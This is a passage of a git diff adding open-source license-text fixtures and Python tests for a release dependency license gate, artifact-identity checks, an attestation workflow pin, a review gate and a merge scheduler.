   that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.",
+  "colorama-0.4.6.txt": "Copyright (c) 2010 Jonathan Hartley\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and/or other materials provided with the distribution.\n\n* Neither the name of the copyright holders, nor those of its contributors\n  may be used to endorse or promote products derived from this software without\n  specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n",
+  "pytest-9.1.1.txt": "The MIT License (MIT)\n\nCopyright (c) 2004 Holger Krekel and others\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\nof the Software, and to permit persons to whom the Software is furnished to do\nso, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n",
+  "memchr-2.8.3-UNLICENSE.txt": "This is free and unencumbered software released into the public domain.\n\nAnyone is free to copy, modify, publish, use, compile, sell, or\ndistribute this software, either in source code form or as a compiled\nbinary, for any purpose, commercial or non-commercial, and by any\nmeans.\n\nIn jurisdictions that recognize copyright laws, the author or authors\nof this software dedicate any and all copyright interest in the\nsoftware to the public domain. We make this dedication for the benefit\nof the public at large and to the detriment of our heirs and\nsuccessors. We intend this dedication to be an overt act of\nrelinquishment in perpetuity of all present and future rights to this\nsoftware under copyright law.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\nOTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\nARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n\nFor more information, please refer to <http://unlicense.org/>\n"
+}
diff --git a/tests/fixtures/release_license_texts/unsupported-hypothesis.json b/tests/fixtures/release_license_texts/unsupported-hypothesis.json
new file mode 100644
index 0000000000..12dc9c26be
--- /dev/null
+++ b/tests/fixtures/release_license_texts/unsupported-hypothesis.json
@@ -0,0 +1,12 @@
+{
+  "package": "hypothesis@6.156.6",
+  "ecosystem": "pypi",
+  "artifact_filename": "hypothesis-6.156.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl",
+  "artifact_sha256": "b4e66aaa7385538a5d617174d47c198ee807f06de99e282a67c6cb724c69340d",
+  "member": "hypothesis-6.156.6.dist-info/licenses/LICENSE.txt",
+  "raw_sha256": "ac89037bac63550644dce8cf32c6765e5fab9dc1a1ce94b89f8a805f341a6750",
+  "normalized_sha256": "eed9dc7c361e1fb279ad5b126bb3a7e9d845c34e00bc27f79d0255444c3ccb72",
+  "identifier": "MPL-2.0",
+  "fixture": "hypothesis-6.156.6.txt",
+  "text": "Copyright (c) 2013, David R. MacIver\n\nAll code in this repository except where explicitly noted otherwise is released\nunder the Mozilla Public License v 2.0. You can obtain a copy at https://mozilla.org/MPL/2.0/.\n\nSome code in this repository comes from other projects. Where applicable, the\noriginal copyright and license are noted and any modifications made are released\ndual licensed with the original license.\n\nMozilla Public License Version 2.0\n==================================\n\n1. Definitions\n--------------\n\n1.1. \"Contributor\"\n    means each individual or legal entity that creates, contributes to\n    the creation of, or owns Covered Software.\n\n1.2. \"Contributor Version\"\n    means the combination of the Contributions of others (if any) used\n    by a Contributor and that particular Contributor's Contribution.\n\n1.3. \"Contribution\"\n    means Covered Software of a particular Contributor.\n\n1.4. \"Covered Software\"\n    means Source Code Form to which the initial Contributor has attached\n    the notice in Exhibit A, the Executable Form of such Source Code\n    Form, and Modifications of such Source Code Form, in each case\n    including portions thereof.\n\n1.5. \"Incompatible With Secondary Licenses\"\n    means\n\n    (a) that the initial Contributor has attached the notice described\n        in Exhibit B to the Covered Software; or\n\n    (b) that the Covered Software was made available under the terms of\n        version 1.1 or earlier of the License, but not also under the\n        terms of a Secondary License.\n\n1.6. \"Executable Form\"\n    means any form of the work other than Source Code Form.\n\n1.7. \"Larger Work\"\n    means a work that combines Covered Software with other material, in\n    a separate file or files, that is not Covered Software.\n\n1.8. \"License\"\n    means this document.\n\n1.9. \"Licensable\"\n    means having the right to grant, to the maximum extent possible,\n    whether at the time of the initial grant or subsequently, any and\n    all of the rights conveyed by this License.\n\n1.10. \"Modifications\"\n    means any of the following:\n\n    (a) any file in Source Code Form that results from an addition to,\n        deletion from, or modification of the contents of Covered\n        Software; or\n\n    (b) any new file in Source Code Form that contains any Covered\n        Software.\n\n1.11. \"Patent Claims\" of a Contributor\n    means any patent claim(s), including without limitation, method,\n    process, and apparatus claims, in any patent Licensable by such\n    Contributor that would be infringed, but for the grant of the\n    License, by the making, using, selling, offering for sale, having\n    made, import, or transfer of either its Contributions or its\n    Contributor Version.\n\n1.12. \"Secondary License\"\n    means either the GNU General Public License, Version 2.0, the GNU\n    Lesser General Public License, Version 2.1, the GNU Affero General\n    Public License, Version 3.0, or any later versions of those\n    licenses.\n\n1.13. \"Source Code Form\"\n    means the form of the work preferred for making modifications.\n\n1.14. \"You\" (or \"Your\")\n    means an individual or a legal entity exercising rights under this\n    License. For legal entities, \"You\" includes any entity that\n    controls, is controlled by, or is under common control with You. For\n    purposes of this definition, \"control\" means (a) the power, direct\n    or indirect, to cause the direction or management of such entity,\n    whether by contract or otherwise, or (b) ownership of more than\n    fifty percent (50%) of the outstanding shares or beneficial\n    ownership of such entity.\n\n2. License Grants and Conditions\n--------------------------------\n\n2.1. Grants\n\nEach Contributor hereby grants You a world-wide, royalty-free,\nnon-exclusive license:\n\n(a) under intellectual property rights (other than patent or trademark)\n    Licensable by such Contributor to use, reproduce, make available,\n    modify, display, perform, distribute, and otherwise exploit its\n    Contributions, either on an unmodified basis, with Modifications, or\n    as part of a Larger Work; and\n\n(b) under Patent Claims of such Contributor to make, use, sell, offer\n    for sale, have made, import, and otherwise transfer either its\n    Contributions or its Contributor Version.\n\n2.2. Effective Date\n\nThe licenses granted in Section 2.1 with respect to any Contribution\nbecome effective for each Contribution on the date the Contributor first\ndistributes such Contribution.\n\n2.3. Limitations on Grant Scope\n\nThe licenses granted in this Section 2 are the only rights granted under\nthis License. No additional rights or licenses will be implied from the\ndistribution or licensing of Covered Software under this License.\nNotwithstanding Section 2.1(b) above, no patent license is granted by a\nContributor:\n\n(a) for any code that a Contributor has removed from Covered Software;\n    or\n\n(b) for infringements caused by: (i) Your and any other third party's\n    modifications of Covered Software, or (ii) the combination of its\n    Contributions with other software (except as part of its Contributor\n    Version); or\n\n(c) under Patent Claims infringed by Covered Software in the absence of\n    its Contributions.\n\nThis License does not grant any rights in the trademarks, service marks,\nor logos of any Contributor (except as may be necessary to comply with\nthe notice requirements in Section 3.4).\n\n2.4. Subsequent Licenses\n\nNo Contributor makes additional grants as a result of Your choice to\ndistribute the Covered Software under a subsequent version of this\nLicense (see Section 10.2) or under the terms of a Secondary License (if\npermitted under the terms of Section 3.3).\n\n2.5. Representation\n\nEach Contributor represents that the Contributor believes its\nContributions are its original creation(s) or it has sufficient rights\nto grant the rights to its Contributions conveyed by this License.\n\n2.6. Fair Use\n\nThis License is not intended to limit any rights You have under\napplicable copyright doctrines of fair use, fair dealing, or other\nequivalents.\n\n2.7. Conditions\n\nSections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted\nin Section 2.1.\n\n3. Responsibilities\n-------------------\n\n3.1. Distribution of Source Form\n\nAll distribution of Covered Software in Source Code Form, including any\nModifications that You create or to which You contribute, must be under\nthe terms of this License. You must inform recipients that the Source\nCode Form of the Covered Software is governed by the terms of this\nLicense, and how they can obtain a copy of this License. You may not\nattempt to alter or restrict the recipients' rights in the Source Code\nForm.\n\n3.2. Distribution of Executable Form\n\nIf You distribute Covered Software in Executable Form then:\n\n(a) such Covered Software must also be made available in Source Code\n    Form, as described in Section 3.1, and You must inform recipients of\n    the Executable Form how they can obtain a copy of such Source Code\n    Form by reasonable means in a timely manner, at a charge no more\n    than the cost of distribution to the recipient; and\n\n(b) You may distribute such Executable Form under the terms of this\n    License, or sublicense it under different terms, provided that the\n    license for the Executable Form does not attempt to limit or alter\n    the recipients' rights in the Source Code Form under this License.\n\n3.3. Distribution of a Larger Work\n\nYou may create and distribute a Larger Work under terms of Your choice,\nprovided that You also comply with the requirements of this License for\nthe Covered Software. If the Larger Work is a combination of Covered\nSoftware with a work governed by one or more Secondary Licenses, and the\nCovered Software is not Incompatible With Secondary Licenses, this\nLicense permits You to additionally distribute such Covered Software\nunder the terms of such Secondary License(s), so that the recipient of\nthe Larger Work may, at their option, further distribute the Covered\nSoftware under the terms of either this License or such Secondary\nLicense(s).\n\n3.4. Notices\n\nYou may not remove or alter the substance of any license notices\n(including copyright notices, patent notices, disclaimers of warranty,\nor limitations of liability) contained within the Source Code Form of\nthe Covered Software, except that You may alter any license notices to\nthe extent required to remedy known factual inaccuracies.\n\n3.5. Application of Additional Terms\n\nYou may choose to offer, and to charge a fee for, warranty, support,\nindemnity or liability obligations to one or more recipients of Covered\nSoftware. However, You may do so only on Your own behalf, and not on\nbehalf of any Contributor. You must make it absolutely clear that any\nsuch warranty, support, indemnity, or liability obligation is offered by\nYou alone, and You hereby agree to indemnify every Contributor for any\nliability incurred by such Contributor as a result of warranty, support,\nindemnity or liability terms You offer. You may include additional\ndisclaimers of warranty and limitations of liability specific to any\njurisdiction.\n\n4. Inability to Comply Due to Statute or Regulation\n---------------------------------------------------\n\nIf it is impossible for You to comply with any of the terms of this\nLicense with respect to some or all of the Covered Software due to\nstatute, judicial order, or regulation then You must: (a) comply with\nthe terms of this License to the maximum extent possible; and (b)\ndescribe the limitations and the code they affect. Such description must\nbe placed in a text file included with all distributions of the Covered\nSoftware under this License. Except to the extent prohibited by statute\nor regulation, such description must be sufficiently detailed for a\nrecipient of ordinary skill to be able to understand it.\n\n5. Termination\n--------------\n\n5.1. The rights granted under this License will terminate automatically\nif You fail to comply with any of its terms. However, if You become\ncompliant, then the rights granted under this License from a particular\nContributor are reinstated (a) provisionally, unless and until such\nContributor explicitly and finally terminates Your grants, and (b) on an\nongoing basis, if such Contributor fails to notify You of the\nnon-compliance by some reasonable means prior to 60 days after You have\ncome back into compliance. Moreover, Your grants from a particular\nContributor are reinstated on an ongoing basis if such Contributor\nnotifies You of the non-compliance by some reasonable means, this is the\nfirst time You have received notice of non-compliance with this License\nfrom such Contributor, and You become compliant prior to 30 days after\nYour receipt of the notice.\n\n5.2. If You initiate litigation against any entity by asserting a patent\ninfringement claim (excluding declaratory judgment actions,\ncounter-claims, and cross-claims) alleging that a Contributor Version\ndirectly or indirectly infringes any patent, then the rights granted to\nYou by any and all Contributors for the Covered Software under Section\n2.1 of this License shall terminate.\n\n5.3. In the event of termination under Sections 5.1 or 5.2 above, all\nend user license agreements (excluding distributors and resellers) which\nhave been validly granted by You or Your distributors under this License\nprior to termination shall survive termination.\n\n************************************************************************\n*                                                                      *\n*  6. Disclaimer of Warranty                                           *\n*  -------------------------                                           *\n*                                                                      *\n*  Covered Software is provided under this License on an \"as is\"       *\n*  basis, without warranty of any kind, either expressed, implied, or  *\n*  statutory, including, without limitation, warranties that the       *\n*  Covered Software is free of defects, merchantable, fit for a        *\n*  particular purpose or non-infringing. The entire risk as to the     *\n*  quality and performance of the Covered Software is with You.        *\n*  Should any Covered Software prove defective in any respect, You     *\n*  (not any Contributor) assume the cost of any necessary servicing,   *\n*  repair, or correction. This disclaimer of warranty constitutes an   *\n*  essential part of this License. No use of any Covered Software is   *\n*  authorized under this License except under this disclaimer.         *\n*                                                                      *\n************************************************************************\n\n************************************************************************\n*                                                                      *\n*  7. Limitation of Liability                                          *\n*  --------------------------                                          *\n*                                                                      *\n*  Under no circumstances and under no legal theory, whether tort      *\n*  (including negligence), contract, or otherwise, shall any           *\n*  Contributor, or anyone who distributes Covered Software as          *\n*  permitted above, be liable to You for any direct, indirect,         *\n*  special, incidental, or consequential damages of any character      *\n*  including, without limitation, damages for lost profits, loss of    *\n*  goodwill, work stoppage, computer failure or malfunction, or any    *\n*  and all other commercial damages or losses, even if such party      *\n*  shall have been informed of the possibility of such damages. This   *\n*  limitation of liability shall not apply to liability for death or   *\n*  personal injury resulting from such party's negligence to the       *\n*  extent applicable law prohibits such limitation. Some               *\n*  jurisdictions do not allow the exclusion or limitation of           *\n*  incidental or consequential damages, so this exclusion and          *\n*  limitation may not apply to You.                                    *\n*                                                                      *\n************************************************************************\n\n8. Litigation\n-------------\n\nAny litigation relating to this License may be brought only in the\ncourts of a jurisdiction where the defendant maintains its principal\nplace of business and such litigation shall be governed by laws of that\njurisdiction, without reference to its conflict-of-law provisions.\nNothing in this Section shall prevent a party's ability to bring\ncross-claims or counter-claims.\n\n9. Miscellaneous\n----------------\n\nThis License represents the complete agreement concerning the subject\nmatter hereof. If any provision of this License is held to be\nunenforceable, such provision shall be reformed only to the extent\nnecessary to make it enforceable. Any law or regulation which provides\nthat the language of a contract shall be construed against the drafter\nshall not be used to construe this License against a Contributor.\n\n10. Versions of the License\n---------------------------\n\n10.1. New Versions\n\nMozilla Foundation is the license steward. Except as provided in Section\n10.3, no one other than the license steward has the right to modify or\npublish new versions of this License. Each version will be given a\ndistinguishing version number.\n\n10.2. Effect of New Versions\n\nYou may distribute the Covered Software under the terms of the version\nof the License under which You originally received the Covered Software,\nor under the terms of any subsequent version published by the license\nsteward.\n\n10.3. Modified Versions\n\nIf you create software not governed by this License, and you want to\ncreate a new license for such software, you may create and use a\nmodified version of this License if you rename the license and remove\nany references to the name of the license steward (except to note that\nsuch modified license differs from this License).\n\n10.4. Distributing Source Code Form that is Incompatible With Secondary\nLicenses\n\nIf You choose to distribute Source Code Form that is Incompatible With\nSecondary Licenses under the terms of this version of the License, the\nnotice described in Exhibit B of this License must be attached.\n\nExhibit A - Source Code Form License Notice\n-------------------------------------------\n\n  This Source Code Form is subject to the terms of the Mozilla Public\n  License, v. 2.0. If a copy of the MPL was not distributed with this\n  file, You can obtain one at https://mozilla.org/MPL/2.0/.\n\nIf it is not possible or desirable to put the notice in a particular\nfile, then You may include the notice in a location (such as a LICENSE\nfile in a relevant directory) where a recipient would be likely to look\nfor such a notice.\n\nYou may add additional accurate notices of copyright ownership.\n\nExhibit B - \"Incompatible With Secondary Licenses\" Notice\n---------------------------------------------------------\n\n  This Source Code Form is \"Incompatible With Secondary Licenses\", as\n  defined by the Mozilla Public License, v. 2.0.\n"
+}
diff --git a/tests/test_exact_artifact_sbom_attestation_contract.py b/tests/test_exact_artifact_sbom_attestation_contract.py
index 221f93244a..0f9613a682 100644
--- a/tests/test_exact_artifact_sbom_attestation_contract.py
+++ b/tests/test_exact_artifact_sbom_attestation_contract.py
@@ -148,14 +148,9 @@ def test_credentialed_job_uses_exact_permissions_and_immutable_trusted_source()
 
     assert ATTEST_ACTION_PIN in signer
     assert CHECKOUT_ACTION_PIN in workflow
-    # job.workflow_repository/workflow_sha are not real Actions context
-    # properties (actionlint flags them as undefined on the `job` object) and
-    # always resolved empty, silently defaulting checkout away from the
-    # pinned trusted verifier source. ContextualWisdomLab/.github is this
-    # workflow's own repository; github.workflow_sha is the real, documented
-    # property for its pinned commit.
+    # Helpers use an independently reviewed literal source pin.
     assert workflow.count("repository: ContextualWisdomLab/.github") >= 2
-    assert workflow.count("ref: ${{ github.workflow_sha }}") >= 2
+    assert workflow.count("ref: 00c6551183cca101cfc97c43656a17cc2491c1b4") == 2
     assert "${{ job.workflow_repository }}" not in workflow
     assert "${{ job.workflow_sha }}" not in workflow
     assert workflow.count("persist-credentials: false") >= 2
diff --git a/tests/test_noema_review_gate.py b/tests/test_noema_review_gate.py
index 5053645802..99aa8dd340 100644
--- a/tests/test_noema_review_gate.py
+++ b/tests/test_noema_review_gate.py
@@ -2857,3 +2857,22 @@ def test_parse_args_and_main(monkeypatch):
         noema.main(
             ["--repo", "owner/repo", "--pr-number", "9", "--expected-head", "A" * 40]
         )
+
+
+def test_fetch_file_content_at_ref_refuses_malformed_base64(monkeypatch):
+    """A content response that is not valid base64 must fail, not decode partially.
+
+    GitHub returns file contents base64-encoded. Decoding without `validate=True`
+    would silently discard non-alphabet characters and hand the gate a truncated
+    file, which would then be reviewed as if it were the real one. The decode is
+    strict, so a malformed response is a RuntimeError naming the cause.
+    """
+    monkeypatch.setattr(noema, "run", lambda *args, **kwargs: "not*valid*base64!!")
+    with pytest.raises(RuntimeError, match="malformed base64"):
+        noema.fetch_file_content_at_ref("owner/repo", "docs/a.md", "deadbeef")
+
+
+def test_fetch_file_content_at_ref_returns_empty_for_an_empty_response(monkeypatch):
+    """An absent `.content` is an empty file, not an error."""
+    monkeypatch.setattr(noema, "run", lambda *args, **kwargs: "   \n")
+    assert noema.fetch_file_content_at_ref("owner/repo", "docs/a.md", "deadbeef") == ""
diff --git a/tests/test_pr_review_merge_scheduler.py b/tests/test_pr_review_merge_scheduler.py
index 4b8715d361..f0161ebcdc 100644
--- a/tests/test_pr_review_merge_scheduler.py
+++ b/tests/test_pr_review_merge_scheduler.py
@@ -2409,6 +2409,31 @@ def test_recent_coalesce_tick_completed_ignores_skipped_and_cancelled_ticks(monk
     )
 
 
+def test_recent_coalesce_tick_completed_ignores_another_scheduled_workflow(monkeypatch):
+    """A different scheduled workflow's success is not coalesce-tick evidence.
+
+    The query asks GitHub for completed `schedule` runs, which in this repository
+    includes several unrelated workflows. Only the coalesce tick's own path proves
+    the dispatch path is alive, so a fresh success from any other scheduled
+    workflow must be skipped rather than read as a healthy tick.
+    """
+    now = datetime(2026, 9, 17, 12, 0, tzinfo=timezone.utc)
+    monkeypatch.setattr(
+        sched,
+        "active_workflow_runs",
+        lambda *a, **k: [
+            {
+                "path": ".github/workflows/sbom-inventory-scheduler.yml",
+                "conclusion": "success",
+                "updated_at": "2026-09-17T11:59:00Z",
+            }
+        ],
+    )
+    assert not sched.recent_coalesce_tick_completed(
+        "owner/repo", now=now, max_age_seconds=600
+    )
+
+
 def test_recent_coalesce_tick_completed_returns_false_without_fresh_tick(monkeypatch):
     now = datetime(2026, 9, 17, 12, 0, tzinfo=timezone.utc)
     monkeypatch.setattr(
diff --git a/tests/test_release_build_artifact_identity.py b/tests/test_release_build_artifact_identity.py
new file mode 100644
index 0000000000..68d6ab70bb
--- /dev/null
+++ b/tests/test_release_build_artifact_identity.py
@@ -0,0 +1,57 @@
+"""Execute the shipped artifact-metadata boundary with inert API fixtures."""
+
+import json
+import os
+import re
+from pathlib import Path
+import subprocess
+import textwrap
+
+import pytest
+
+WORKFLOW = Path('.github/workflows/release-dependency-license-strix-gate.yml')
+
+
+@pytest.mark.parametrize('case', ['valid', 'wrong-id', 'wrong-run', 'missing-digest',
+                                  'wrong-digest', 'expired', 'missing-id', 'bad-input-digest',
+                                  'wrong-repository', 'api-failure'])
+def test_build_artifact_boundary_runs_before_download(tmp_path, case):
+    workflow = WORKFLOW.read_text()
+    step_name = 'Verify immutable same-run build artifact metadata'
+    step = workflow.split('- name: ' + step_name + '\n', 1)[1].split('\n      - ', 1)[0]
+    script = textwrap.dedent(step.split('        run: |\n', 1)[1])
+    download = workflow.split('- name: Download the exact distributions', 1)[1].split('\n      - ', 1)[0]
+    assert 'artifact-ids: ${{ inputs.build_artifact_id }}' in download
+    assert 'digest-mismatch: error' in download
+    assert 'name: ${{ inputs.build_artifact_name }}' not in download
+    assert workflow.index(step_name) < workflow.index('Download the exact distributions')
+    assert '      actions: read' in workflow
+    for key in ('build_artifact_id', 'build_artifact_digest'):
+        declaration = re.split(r'\n      \S', workflow.split('      ' + key + ':\n', 1)[1], maxsplit=1)[0]
+        assert 'required: true' in declaration
+    digest = 'sha256:' + 'a' * 64
+    metadata = dict(id=123, name='dist-pair', digest=digest, workflow_run=dict(id=456), expired=False)
+    if case == 'wrong-id': metadata['id'] = 124
+    if case == 'wrong-run': metadata['workflow_run']['id'] = 457
+    if case == 'missing-digest': metadata.pop('digest')
+    if case == 'wrong-digest': metadata['digest'] = 'sha256:' + 'b' * 64
+    if case == 'expired': metadata['expired'] = True
+    fake = tmp_path / 'gh'
+    fake.write_text('#!/bin/sh\n[ "$1" = api ] || exit 91\n'
+                    '[ "$2" = /repos/owner/repo/actions/artifacts/123 ] || exit 92\n'
+                    '[ "$API_FAILURE" != yes ] || exit 93\n'
+                    'printf "%s" "$API_METADATA"\n')
+    fake.chmod(0o755)
+    marker = tmp_path / 'download-reached'
+    env = {**os.environ, 'PATH': str(tmp_path) + os.pathsep + os.environ['PATH'],
+           'GH_TOKEN': '', 'SOURCE_REPOSITORY': 'other/repo' if case == 'wrong-repository' else 'owner/repo',
+           'GITHUB_REPOSITORY': 'owner/repo', 'GITHUB_RUN_ID': '456',
+           'ARTIFACT_ID': '' if case == 'missing-id' else '123', 'ARTIFACT_NAME': 'dist-pair',
+           'ARTIFACT_DIGEST': '' if case == 'bad-input-digest' else digest,
+           'API_METADATA': json.dumps(metadata), 'API_FAILURE': 'yes' if case == 'api-failure' else 'no',
+           'MARKER': str(marker)}
+    result = subprocess.run(['bash', '--noprofile', '--norc', '-e', '-o', 'pipefail', '-c',
+                             script + '\nprintf reached > "$MARKER"\n'],
+                            env=env, capture_output=True, text=True)
+    assert (result.returncode == 0) == (case == 'valid'), result.stderr
+    assert marker.exists() == (case == 'valid')
diff --git a/tests/test_release_dependency_archive_binding.py b/tests/test_release_dependency_archive_binding.py
new file mode 100644
index 0000000000..fd3c0b77f0
--- /dev/null
+++ b/tests/test_release_dependency_archive_binding.py
@@ -0,0 +1,90 @@
+"""No installation: real ZIP/tar bytes must bind the license decision."""
+import hashlib
+import io
+import json
+import tarfile
+import zipfile
+
+import pytest
+
+from scripts.ci import release_dependency_gate as gate
+from tests.test_release_dependency_gate import build_capture, _fixture_archive, REVIEWED_TEXTS
+
+
+@pytest.mark.parametrize("ecosystem", ["pypi", "cargo"])
+def test_raw_sidecar_cannot_replace_actual_license(tmp_path, ecosystem):
+    raw = _fixture_archive({"LICENSE": "Academic research only. Commercial use prohibited."}, ecosystem)
+    (tmp_path / "source.archive").write_bytes(raw)
+    (tmp_path / "source.sha256").write_text(hashlib.sha256(raw).hexdigest())
+    (tmp_path / "metadata.json").write_text(json.dumps({
+        "ecosystem": ecosystem, "name": "example", "version": "1", "license_expression": "MIT"}))
+    (tmp_path / "licenses").mkdir()
+    (tmp_path / "licenses" / "LICENSE").write_text(REVIEWED_TEXTS["pytest-9.1.1.txt"])
+    dependency, evidence = gate.build_evidence(tmp_path)
+    assert evidence["license_texts"]["LICENSE"].startswith("Academic")
+    failures, _, _ = gate.evaluate_dependency_license(evidence, dependency.key, None)
+    assert gate.LICENSE_TEXT_UNVERIFIED in {failure.code for failure in failures}
+
+
+@pytest.mark.parametrize("ecosystem,name,version", [("pypi", "greenlib", "1.0.0"), ("cargo", "greencrate", "0.1.0")])
+@pytest.mark.parametrize("mutation", ["text", "archive", "missing"])
+def test_gate_refuses_tampered_capture(tmp_path, ecosystem, name, version, mutation):
+    root = build_capture(tmp_path)
+    dependency = gate.Dependency(ecosystem, name, version)
+    archive = root / "archives" / f"{dependency.slug}.archive"
+    if mutation == "text":
+        path = root / "evidence" / f"{dependency.slug}.json"
+        evidence = json.loads(path.read_text())
+        evidence["license_texts"] = {"LICENSE": REVIEWED_TEXTS["pytest-9.1.1.txt"] + "\nExtra condition"}
+        path.write_text(json.dumps(evidence))
+    elif mutation == "archive":
+        archive.write_bytes(_fixture_archive({"LICENSE": "Commercial use prohibited"}, ecosystem))
+    else:
+        archive.unlink()
+    report = gate.gate(root, stage=gate.LICENSE_STAGE)
+    assert not report.passed
+    assert (gate.CAPTURE_INCOMPLETE if mutation == "missing" else gate.SOURCE_HASH_MISMATCH) in {f.code for f in report.failures}
+
+
+@pytest.mark.parametrize("ecosystem", ["pypi", "cargo"])
